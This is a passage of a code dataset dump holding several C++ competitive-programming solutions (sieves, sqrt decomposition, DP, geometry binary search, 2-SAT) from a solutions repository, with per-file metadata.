f(x, i, j);\r\n\t\t\t\tif (dist[nn] == -1) {\r\n\t\t\t\t\tdist[nn] = dist[x] + 1;\r\n\t\t\t\t\tQ.push(nn);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t}\r\n\tint tc;\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tint n = get();\r\n\t\tcout << dist[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4475446343421936, "alphanum_fraction": 0.4776785671710968, "avg_line_length": 18.837209701538086, "blob_id": "0dcab8187d77d0c4b9ce5b759f504d20c413d258", "content_id": "3602f6b62d635216b2ffb2898f8a0e59f6139e8b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 896, "license_type": "no_license", "max_line_length": 53, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p1722-Accepted-s658369.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cassert>\r\n#include <iostream>\r\n#include <vector>\r\n#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll MAXN = 1000050, mod = 1000007;\r\n\r\nbool criba[MAXN + 5];\r\nvector<ll> primos;\r\n\r\nll tc, n;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tfor (int i = 2; i * i <= MAXN; i++)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (int j = i * i; j <= MAXN; j += i)\r\n\t\t\t\tcriba[j] = true;\r\n\tprimos.push_back(2);\r\n\tfor (int i = 3; i <= MAXN; i += 2)\r\n\t\tif (!criba[i]) primos.push_back(i);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tll sol = 1;\r\n\t\tll cnt = 0;\r\n\t\tfor (int i = 0; primos[i] <= n; i++) {\r\n\t\t\tll p = primos[i];\r\n\t\t\tcnt++;\r\n\t\t\tll tmp = 0;\r\n\t\t\tfor (ll j = p; j <= n; j *= p)\r\n tmp = (tmp + n / j) % mod;\r\n\t\t\tsol = (sol * ((tmp * (tmp + 1) / 2) % mod)) % mod;\r\n\t\t}\r\n\t\tcout << cnt << \" \" << sol << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3171418607234955, "alphanum_fraction": 0.3382611870765686, "avg_line_length": 15.429448127746582, "blob_id": "cc3aff400571fe3df47b652e9e0604f8aa8c6453", "content_id": "c99652e3075af2a2a6dc69f482475e19b8f8b360", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2841, "license_type": "no_license", "max_line_length": 56, "num_lines": 163, "path": "/COJ/eliogovea-cojAC/eliogovea-p3162-Accepted-s816344.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 200005;\r\n\r\nint n, q;\r\nstring str;\r\n\r\nint sqrtn;\r\n\r\nchar ch;\r\nint a, b;\r\n\r\nint v[N];\r\n\r\nint sum[1005];\r\nint mn[1005];\r\nint mx[1005];\r\n\r\nint upd[1005];\r\n\r\nvoid update(int p, int l, int r) {\r\n\tif (upd[p]) {\r\n\t\tsum[p] = -sum[p];\r\n\t\tint xx = mn[p];\r\n\t\tint yy = mx[p];\r\n\t\tmn[p] = -yy;\r\n\t\tmx[p] = -xx;\r\n\t\tfor (int i = 0; i < sqrtn && sqrtn * p + i < n; i++) {\r\n\t\t\tv[sqrtn * p + i] = -v[sqrtn * p + i];\r\n\t\t}\r\n\t\tupd[p] ^= 1;\r\n\t}\r\n\twhile (l <= r) {\r\n\t\tv[l] = -v[l];\r\n\t\tl++;\r\n\t}\r\n\tsum[p] = 0;\r\n\tfor (int i = 0; i < sqrtn && sqrtn * p + i < n; i++) {\r\n\t\tsum[p] += v[sqrtn * p + i];\r\n\t\tif (i == 0 || sum[p] > mx[p]) {\r\n\t\t\tmx[p] = sum[p];\r\n\t\t}\r\n\t\tif (i == 0 || sum[p] < mn[p]) {\r\n\t\t\tmn[p] = sum[p];\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> str;\r\n sqrtn = sqrt(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (str[i] == '(') {\r\n\t\t\tv[i] = 1;\r\n\t\t} else {\r\n\t\t\tv[i] = -1;\r\n\t\t}\r\n\t\tint p = i / sqrtn;\r\n\t\tsum[p] += v[i];\r\n\t\tif ((i % sqrtn == 0) || sum[p] > mx[p]) {\r\n\t\t\tmx[p] = sum[p];\r\n\t\t}\r\n\t\tif ((i % sqrtn == 0) || sum[p] < mn[p]) {\r\n\t\t\tmn[p] = sum[p];\r\n\t\t}\r\n\t}\r\n\tcin >> q;\r\n\twhile (q--) {\r\n\t\tcin >> ch >> a >> b;\r\n\t\ta--;\r\n\t\tb--;\r\n\t\tif (ch == 'q') {\r\n if ((b - a) % 2 == 0) {\r\n cout << \"0\\n\";\r\n continue;\r\n }\r\n\t\t\tint pa = a / sqrtn;\r\n\t\t\tint pb = b / sqrtn;\r\n\t\t\tif (pa == pb) {\r\n\t\t\t\tint s = 0;\r\n\t\t\t\tbool ok = true;\r\n\t\t\t\tfor (int i = a; i <= b; i++) {\r\n\t\t\t\t\ts += v[i] * (upd[pa] ? -1 : 1);\r\n\t\t\t\t\tif (s < 0) {\r\n\t\t\t\t\t\tok = false;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tcout << (ok && (s == 0)) << \"\\n\";\r\n\t\t\t} else {\r\n\t\t\t\tint s = 0;\r\n\t\t\t\tbool ok = true;\r\n\t\t\t\twhile (a % sqrtn) {\r\n\t\t\t\t\ts += v[a] * (upd[pa] ? -1 : 1);\r\n\t\t\t\t\tif (s < 0) {\r\n\t\t\t\t\t\tok = false;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\ta++;\r\n\t\t\t\t}\r\n\t\t\t\tif (!ok) {\r\n\t\t\t\t\tcout << \"0\\n\";\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tpa = a / sqrtn;\r\n\t\t\t\twhile (pa != pb) {\r\n\t\t\t\t\tint xx = mn[pa];\r\n\t\t\t\t\tif (upd[pa]) {\r\n\t\t\t\t\t\txx = -mx[pa];\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (s + xx < 0) {\r\n\t\t\t\t\t\tok = false;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\ts += sum[pa] * (upd[pa] ? -1 : 1);\r\n\t\t\t\t\tif (s < 0) {\r\n\t\t\t\t\t\tok = false;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\ta += sqrtn;\r\n\t\t\t\t\tpa++;\r\n\t\t\t\t}\r\n\t\t\t\tif (!ok) {\r\n\t\t\t\t\tcout << \"0\\n\";\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\twhile (a <= b) {\r\n\t\t\t\t\ts += v[a] * (upd[pa] ? -1 : 1);\r\n\t\t\t\t\tif (s < 0) {\r\n\t\t\t\t\t\tok = false;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\ta++;\r\n\t\t\t\t}\r\n\t\t\t\tif (!ok) {\r\n\t\t\t\t\tcout << \"0\\n\";\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tcout << (s == 0) << \"\\n\";\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tint pa = a / sqrtn;\r\n\t\t\tint pb = b / sqrtn;\r\n\t\t\tif (pa == pb) {\r\n\t\t\t\tupdate(pa, a, b);\r\n\t\t\t} else {\r\n\t\t\t\tupdate(pa, a, sqrtn * (pa + 1) - 1);\r\n\t\t\t\tpa++;\r\n\t\t\t\ta = sqrtn * pa;\r\n\t\t\t\twhile (pa != pb) {\r\n\t\t\t\t\tupd[pa] ^= 1;\r\n\t\t\t\t\tpa++;\r\n\t\t\t\t}\r\n\t\t\t\ta = sqrtn * pa;\r\n\t\t\t\tupdate(pa, a, b);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.33182331919670105, "alphanum_fraction": 0.3691959083080292, "avg_line_length": 23.97058868408203, "blob_id": "75fc6a3d8330d7cdd033c0b53b34449e1d1f80c3", "content_id": "d485d396243421ad99e3f810f2ecd4a031112db6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 883, "license_type": "no_license", "max_line_length": 67, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p2914-Accepted-s622136.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 110, MAXM = 10010;\r\n\r\nint n, m, t[MAXN];\r\ndouble p[MAXN], dp[MAXN][2 * MAXM], aux, sol;\r\n\r\nint main() {\r\n scanf(\"%d%d\", &n, &m);\r\n for (int i = 0; i < n; i++) scanf(\"%d\", &t[i]);\r\n for (int i = 0; i < n; i++) scanf(\"%lf\", &p[i]), p[i] /= 100.0;\r\n dp[0][0] = 1.0;\r\n for (int i = 0; i < n; i++)\r\n for (int j = 0; j < m; j++) {\r\n dp[i + 1][j] += dp[i][j] * (1.0 - p[i]);\r\n dp[i + 1][j + t[i]] += dp[i][j] * p[i];\r\n }\r\n\r\n for (int i = 1; i <= n; i++) {\r\n aux = 0.0;\r\n for (int j = m; j < m + t[i - 1]; j++)\r\n aux += dp[i][j];\r\n sol += (double(i)) * aux;\r\n }\r\n\r\n aux = 0.0;\r\n for (int i = 0; i < m; i++)\r\n aux += dp[n][i];\r\n sol += (double(n)) * aux;\r\n\r\n cout.precision(0);\r\n cout << fixed << sol << endl;\r\n}\r\n" }, { "alpha_fraction": 0.38167938590049744, "alphanum_fraction": 0.4405670762062073, "avg_line_length": 14.525424003601074, "blob_id": "6a1ee08c1b3edfc1376297919d120568a16f4423", "content_id": "cd1e9dc99ea884ffbdfc9f2502d60f96748caa98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 917, "license_type": "no_license", "max_line_length": 134, "num_lines": 59, "path": "/Codeforces-Gym/101095 - 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)/Z.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)\n// 101095Z\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nll d, K, n;\n\nll solve_par( ll k ){\n if( k <= 0 ){\n k = d*2ll;\n }\n\n k = k/2ll;\n k = (k+n)%d;\n if( k == 0 ){\n k = d;\n }\n\n k = k*2;\n\n return k;\n}\n\n\nll solve_impar( ll k ){\n if( k > d*2ll ){\n k = 1ll;\n }\n\n k = (k+1ll)/2ll;\n k = (k-n+d)%d;\n if( k == 0ll ){\n k = d;\n }\n\n k = k*2 - 1;\n\n return k;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> d >> K >> n; d /= 2ll; n %= d;\n\n if( K & 1 ){\n cout << solve_par( K+1ll ) << ' ' << solve_par( K-1ll ) << '\\n';\n }\n else{\n cout << solve_impar( K+1ll ) << ' ' << solve_impar( K-1ll ) << '\\n';\n }\n}\n\n" }, { "alpha_fraction": 0.38492706418037415, "alphanum_fraction": 0.4141004979610443, "avg_line_length": 23.183673858642578, "blob_id": "f16036afb1de5e23e4aaf6619c4207229b9e6bb7", "content_id": "7c9969de0c6c01ec17df35f340426a3a76f9f90b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1234, "license_type": "no_license", "max_line_length": 78, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p1940-Accepted-s671151.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 1940.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description :\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <vector>\r\n#include <sstream>\r\n#include <cassert>\r\n#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst int MAXN = 300;\r\n\r\nLL tc, x;\r\nvector<int> v;\r\nstring str;\r\nLL dp[MAXN + 5][MAXN + 5];\r\n\r\nint main() {\r\n\tdp[0][0] = 1LL;\r\n\tfor (int i = 1; i <= MAXN; i++)\r\n\t\tfor (int j = 0; j + i <= MAXN; j++)\r\n\t\t\tfor (int k = 0; k < MAXN; k++)\r\n\t\t\t\tdp[j + i][k + 1] += dp[j][k];\r\n\r\n\tfor (int i = 0; i <= MAXN; i++)\r\n\t\tfor (int j = 1; j <= MAXN; j++)\r\n\t\t\tdp[i][j] += dp[i][j - 1];\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\twhile (getline(cin, str)) {\r\n\t\tistringstream ss(str);\r\n\t\tv.clear();\r\n\t\twhile (ss >> x) v.push_back(x);\r\n\t\tassert(v.size() >= 1 && v.size() <= 3);\r\n\t\tif (v[1] >= MAXN) v[1] = MAXN;\r\n\t\tif (v[2] >= MAXN) v[2] = MAXN;\r\n\t\tif (v.size() == 1) cout << dp[v[0]][MAXN];\r\n\t\telse if (v.size() == 2) cout << dp[v[0]][v[1]];\r\n\t\telse if (v.size() == 3)cout << dp[v[0]][v[2]] - dp[v[0]][v[1] - 1];\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4512428343296051, "alphanum_fraction": 0.46845123171806335, "avg_line_length": 17.370370864868164, "blob_id": "abf0a7a7103ec088f9c835cb49d7afbf14030446", "content_id": "835d4ecae069265957249f74d87999b610df05f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 523, "license_type": "no_license", "max_line_length": 44, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p2460-Accepted-s510753.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<algorithm>\r\n#include<bitset>\r\n#include<vector>\r\nusing namespace std;\r\n\r\nunsigned long n;\r\n\r\nint main()\r\n{\r\n while(cin >> n)\r\n {\r\n bitset<32>b(n);\r\n vector<bool>v;\r\n for(int i=0; i<32; i++)\r\n v.push_back(b[i]);\r\n\r\n reverse(v.begin(),v.end());\r\n next_permutation(v.begin(),v.end());\r\n reverse(v.begin(),v.end());\r\n for(int i=0; i<32; i++)\r\n b[i]=v[i];\r\n\r\n cout << b.to_ulong() << endl;\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3378995358943939, "alphanum_fraction": 0.36415526270866394, "avg_line_length": 14.92727279663086, "blob_id": "7d640b51e4d5dd1764d8056e2f592960787d9473", "content_id": "37cae7cbc44b5a5f01a65f1d532ef5a8f32659d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 876, "license_type": "no_license", "max_line_length": 62, "num_lines": 55, "path": "/Caribbean-Training-Camp-2018/Contest_6/Solutions/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\nvector<int> g[MAXN];\n\nint d[3][MAXN];\nint x;\nvoid dfs( int u, int p, int *d ){\n d[u] = d[p] + 1;\n if( d[x] < d[u] ){\n x = u;\n }\n\n for( auto v : g[u] ){\n if( v != p ){\n dfs( v , u , d );\n }\n }\n}\n\nint a, b;\nvoid solve( int n ){\n x = 1;\n dfs( 1 , 0 , d[0] );\n a = x;\n dfs( a , 0 , d[1] );\n b = x;\n dfs( b , 0 , d[2] );\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\n\n for( int i = 1; i < n; i++ ){\n int u,v; cin >> u >> v;\n g[u].push_back(v);\n g[v].push_back(u);\n }\n\n solve(n);\n\n // cerr << \"a = \" << a << \" b = \" << b << '\\n';\n\n for( int u = 1; u <= n; u++ ){\n cout << max( d[1][u] , d[2][u] ) - 1 << \" \\n\"[u == n];\n }\n}\n" }, { "alpha_fraction": 0.40940818190574646, "alphanum_fraction": 0.44066768884658813, "avg_line_length": 15.810811042785645, "blob_id": "4623f0527e237eddb432ad61597e6d22ca9d5135", "content_id": "c4dd13207a19d56323a56d9ea8c264faecb98d4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3295, "license_type": "no_license", "max_line_length": 74, "num_lines": 185, "path": "/COJ/eliogovea-cojAC/eliogovea-p2556-Accepted-s925633.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 505;\r\n\r\ntypedef double LD;\r\n\r\nconst LD EPS = 1e-13;\r\n\r\nconst LD PI = M_PI;\r\n\r\nstruct pt {\r\n\tLD x, y;\r\n\tpt() {}\r\n\tpt(LD _x, LD _y) {\r\n\t\tx = _x;\r\n\t\ty = _y;\r\n\t}\r\n};\r\n\r\npt operator - (pt a, pt b) {\r\n\treturn pt(a.x - b.x, a.y - b.y);\r\n}\r\n\r\ninline LD dist(pt a, pt b) {\r\n\tLD dx = a.x - b.x;\r\n\tLD dy = a.y - b.y;\r\n\treturn sqrt(dx * dx + dy * dy);\r\n}\r\n\r\nstruct circle {\r\n\tpt O;\r\n\tLD r;\r\n\tcircle() {}\r\n\tcircle(pt _O, LD _r) {\r\n\t\tO = _O;\r\n\t\tr = _r;\r\n\t}\r\n};\r\n\r\nint inter(circle a, circle b, pt &P1, pt &P2) {\r\n\tLD d = dist(a.O, b.O);\r\n\tLD dx = b.O.x - a.O.x;\r\n\tLD dy = b.O.y - a.O.y;\r\n\tif (fabs(dist(a.O, b.O) - a.r - b.r) < EPS) {\r\n\t\tLD xx = a.O.x + dx / 2.0;\r\n\t\tLD yy = a.O.y + dy / 2.0;\r\n\t\tP1.x = a.O.x + dx / 2.0;\r\n\t\tP1.y = a.O.y + dy / 2.0;\r\n\t\treturn 1;\r\n\t} else if (d < a.r + b.r) {\r\n\t\tLD xx = a.O.x + dx / 2.0;\r\n\t\tLD yy = a.O.y + dy / 2.0;\r\n\t\tLD l = sqrt(a.r * a.r - d * d / 4.0);\r\n\t\tLD ndx = -dy;\r\n\t\tLD ndy = dx;\r\n\t\tLD t = l / d;\r\n\t\tP1.x = xx - ndx * t;\r\n\t\tP1.y = yy - ndy * t;\r\n\t\tP2.x = xx + ndx * t;\r\n\t\tP2.y = yy + ndy * t;\r\n\t\treturn 2;\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nLD get_angle(pt P) {\r\n\tLD x = P.x;\r\n\tLD y = P.y;\r\n\tif (fabs(x) < EPS) {\r\n\t\tif (y > 0.0) {\r\n\t\t\treturn PI / 2.0;\r\n\t\t} else {\r\n\t\t\treturn 3.0 * PI / 2.0;\r\n\t\t}\r\n\t}\r\n\tLD angle = atan(fabs(y / x));\r\n\tif (x > 0.0) {\r\n\t\tif (y > 0.0) {\r\n\t\t\treturn angle;\r\n\t\t} else {\r\n\t\t\treturn 2.0 * PI - angle;\r\n\t\t}\r\n\t} else {\r\n\t\tif (y > 0) {\r\n\t\t\treturn PI - angle;\r\n\t\t} else {\r\n\t\t\treturn PI + angle;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint n, p;\r\npt pts[505];\r\n\r\nbool cmp(const pair <LD, bool> &a, const pair <LD, bool> &b) {\r\n\tif (fabs(a.first - b.first) > EPS) {\r\n\t\treturn a.first < b.first;\r\n\t}\r\n\treturn !a.first;\r\n}\r\n\r\npair <LD, bool> events[2 * N];\r\nint sze;\r\n\r\nbool check(LD r) {\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tsze = 0;\r\n\t\tint cur = 0;\r\n\t\tint mx = 0;\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tif (j == i) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tpt P1, P2;\r\n\t\t\tint c = inter(circle(pt(0, 0), r), circle(pts[j] - pts[i], r), P1, P2);\r\n\t\t\tif (c == 1) {\r\n\t\t\t\tLD angle = get_angle(P1);\r\n\t\t\t\tevents[sze].first = angle;\r\n\t\t\t\tevents[sze++].second = false;\r\n\t\t\t\tevents[sze].first = angle;\r\n\t\t\t\tevents[sze++].second = true;\r\n\t\t\t} else if (c == 2) {\r\n\t\t\t\tLD angle1 = get_angle(P1);\r\n\t\t\t\tLD angle2 = get_angle(P2);\r\n\t\t\t\tif (angle1 > angle2) {\r\n\t\t\t\t\tcur++;\r\n\t\t\t\t}\r\n\t\t\t\tevents[sze].first = angle1;\r\n\t\t\t\tevents[sze++].second = false;\r\n\t\t\t\tevents[sze].first = angle2;\r\n\t\t\t\tevents[sze++].second = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (cur + 1 >= p) {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\tsort(events, events + sze, cmp);\r\n\t\tfor (int i = 0; i < sze; i++) {\r\n\t\t\tif (!events[i].second) {\r\n\t\t\t\tcur++;\r\n\t\t\t} else {\r\n\t\t\t\tcur--;\r\n\t\t\t}\r\n\t\t\tif (cur + 1 >= p) {\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(4);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\twhile (cin >> n >> p) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> pts[i].x >> pts[i].y;\r\n\t\t}\r\n\r\n\r\n\t\tif (p == 1) {\r\n\t\t\tcout << \"0.0000\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tLD lo = 0.0;\r\n\t\tLD hi = 1e5 * sqrt(2.0) / 2.0 + 20.0;\r\n\r\n\t\tfor (int it = 0; it < 100; it++) {\r\n\t\t\tdouble mid = (lo + hi) / 2.0;\r\n\t\t\tif (check(mid)) {\r\n\t\t\t\thi = mid;\r\n\t\t\t} else {\r\n\t\t\t\tlo = mid;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tdouble ans = (lo + hi) / 2.0;\r\n\r\n\t\tcout << fixed << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3421296179294586, "alphanum_fraction": 0.3592592477798462, "avg_line_length": 18.18691635131836, "blob_id": "f4c2a018b4ad50672b7a58b26d46d8cb7b4af638", "content_id": "d7e0a6e55e5d64911ba1256345cf8c14c5c24263", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2160, "license_type": "no_license", "max_line_length": 66, "num_lines": 107, "path": "/COJ/eliogovea-cojAC/eliogovea-p3870-Accepted-s1120053.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 2 * 20000 + 10;\r\n\r\nint n, m;\r\nvector <int> g[N];\r\nint timer;\r\nint low[N];\r\nint dfs_num[N];\r\nint st[N], top;\r\nint scc_count;\r\nint id[N];\r\n\r\nvoid dfs(int u) {\r\n // cerr << \"-->> \" << u << \"\\n\";\r\n\tlow[u] = dfs_num[u] = timer++;\r\n\tst[top++] = u;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\t// cerr << u << \" >> \" << v << \"\\n\";\r\n\t\tif (dfs_num[v] == -1) {\r\n\t\t\tdfs(v);\r\n\t\t\tlow[u] = min(low[u], low[v]);\r\n\t\t} else if (id[v] == -1) {\r\n\t\t\tlow[u] = min(low[u], dfs_num[v]);\r\n\t\t}\r\n\t}\r\n\t// cerr << u << \" \" << dfs_num[u] << \" \" << low[u] << \"\\n\";\r\n\tif (dfs_num[u] == low[u]) {\r\n while (st[top - 1] != u) {\r\n id[st[top - 1]] = scc_count;\r\n top--;\r\n }\r\n id[st[top - 1]] = scc_count;\r\n top--;\r\n scc_count++;\r\n }\r\n}\r\n\r\ninline void SCC() {\r\n\tfor (int i = 1; i <= 2 * n; i++) {\r\n\t\tid[i] = -1;\r\n\t\tdfs_num[i] = -1;\r\n\t\tlow[i] = -1;\r\n\t}\r\n\ttimer = 0;\r\n\tscc_count = 0;\r\n\ttop = 0;\r\n\tfor (int i = 1; i <= 2 * n; i++) {\r\n if (dfs_num[i] == -1) {\r\n dfs(i);\r\n // cerr << \"-------------------\\n\";\r\n }\r\n\t}\r\n}\r\ninline void get(const string &s, char &c, int &x) {\r\n\tc = s[0];\r\n\tx = 0;\r\n\tfor (int i = 1; i < s.size(); i++) {\r\n\t\tx = 10 * x + s[i] - '0';\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n >> m;\r\n\tstring s;\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tchar ox;\r\n\t\tint x;\r\n\t\tcin >> s;\r\n\t\tget(s, ox, x);\r\n\t\tchar oy;\r\n\t\tint y;\r\n\t\tcin >> s;\r\n\t\tget(s, oy, y);\r\n\t\t// cerr << ox << \" \" << x << \" \" << oy << \" \" << y << \"\\n\";\r\n\t\tif (ox == '+' && oy == '+') {\r\n\t\t\tg[n + x].push_back(y);\r\n\t\t\tg[n + y].push_back(x);\r\n\t\t} else if (ox == '+' && oy == '-') {\r\n\t\t\tg[n + x].push_back(n + y);\r\n\t\t\tg[y].push_back(x);\r\n\t\t} else if (ox == '-' && oy == '+') {\r\n\t\t\tg[x].push_back(y);\r\n\t\t\tg[n + y].push_back(n + x);\r\n\t\t} else {\r\n\t\t\tg[x].push_back(n + y);\r\n\t\t\tg[y].push_back(n + x);\r\n\t\t}\r\n\t}\r\n\r\n\tSCC();\r\n\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tif (id[i] == id[n + i]) {\r\n cerr << i << \" \" << id[i] << \" \" << id[n + i] << \"\\n\";\r\n\t\t\tcout << \"0\\n\";\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t}\r\n\tcout << \"1\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3852040767669678, "alphanum_fraction": 0.4098639488220215, "avg_line_length": 17.93220329284668, "blob_id": "45509fc7b45fb94f1b28a6fd8c014cea7e6cbc93", "content_id": "289a77f60bfe478d79b6fc30afffcb7f7b1c617c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1176, "license_type": "no_license", "max_line_length": 95, "num_lines": 59, "path": "/COJ/eliogovea-cojAC/eliogovea-p3402-Accepted-s1042038.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 5005;\r\n\r\nint n, m, b;\r\nint x[N];\r\nvector <pair <int, int> > v[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> m >> b;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i];\r\n\t}\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tint y, p, q;\r\n\t\tcin >> y >> p >> q;\r\n\t\tv[y].push_back(make_pair(q, p));\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tsort(v[x[i]].begin(), v[x[i]].end());\r\n\t\tfor (int j = ((int)(v[x[i]].size())) - 2; j >= 0; j--) {\r\n\t\t\tv[x[i]][j].second = min(v[x[i]][j].second, v[x[i]][j + 1].second);\r\n\t\t}\r\n\t}\r\n\tint lo = 1;\r\n\tint hi = 1000000;\r\n\tint ans = -1;\r\n\twhile (lo <= hi) {\r\n\t\tint mid = (lo + hi) >> 1;\r\n\t\tint val = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tint pos = lower_bound(v[x[i]].begin(), v[x[i]].end(), make_pair(mid, -1)) - v[x[i]].begin();\r\n\t\t\tif (pos == v[x[i]].size()) {\r\n\t\t\t\tval = b + 1;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tval += v[x[i]][pos].second;\r\n\t\t\tif (val > b) {\r\n\t\t\t\tval = b + 1;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (val <= b) {\r\n\t\t\tans = mid;\r\n\t\t\tlo = mid + 1;\r\n\t\t} else {\r\n\t\t\thi = mid - 1;\r\n\t\t}\r\n\t}\r\n\tif (ans == -1) {\r\n\t\tcout << \"No task.\\n\";\r\n\t} else {\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3698113262653351, "alphanum_fraction": 0.3899371027946472, "avg_line_length": 16.66666603088379, "blob_id": "100d490a093fa76d295e65050515993e288ff54e", 